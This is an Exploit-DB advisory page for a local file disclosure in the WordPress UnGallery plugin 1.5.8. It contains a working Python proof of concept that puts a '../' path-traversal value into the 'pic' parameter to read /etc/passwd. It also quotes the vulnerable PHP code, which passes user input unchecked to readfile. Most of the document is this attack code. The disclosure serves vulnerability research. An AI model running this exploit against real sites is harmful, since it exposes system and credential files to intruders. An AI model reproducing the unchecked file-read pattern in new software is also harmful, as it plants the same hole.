WordPress Plugin UnGallery 1.5.8 – Local File Disclosure

  • 作者: Miroslav Stampar
    日期: 2011-08-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17704/
  • # Exploit Title: WordPress UnGallery plugin <= 1.5.8 Local File Disclosure Vulnerability
    # Date: 2011-08-20
    # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
    # Software Link: http://downloads.wordpress.org/plugin/ungallery.1.5.8.zip
    # Version: 1.5.8 (tested)
    
    ---
    PoC
    ---
    #!/bin/python
    
    import urllib2
    
    FILEPATH = "/etc/passwd"
    
    req = urllib2.urlopen("http://www.site.com/wp-content/plugins/ungallery/source_vuln.php?pic=../../../../../../../..%s" % FILEPATH)
    
    print "Filepath: '%s'" % FILEPATH
    print "Content: %s" % repr(req.read())
    
    ---------------
    Vulnerable code
    ---------------
    if ($_GET['pic']) {
    	$filename = $_GET['pic'];
    	$len = filesize($filename);
    	$lastslash =strrpos($filename, "/");
    	$name =substr($filename, $lastslash + 1); 
    
    	header("Content-type: image/jpeg;\r\n");
    	header("Content-Length: $len;\r\n");
    	header("Content-Transfer-Encoding: binary;\r\n");
    	header('Content-Disposition: inline; filename="'.$name.'"');	//Render the photo inline.
    	readfile($filename);
    }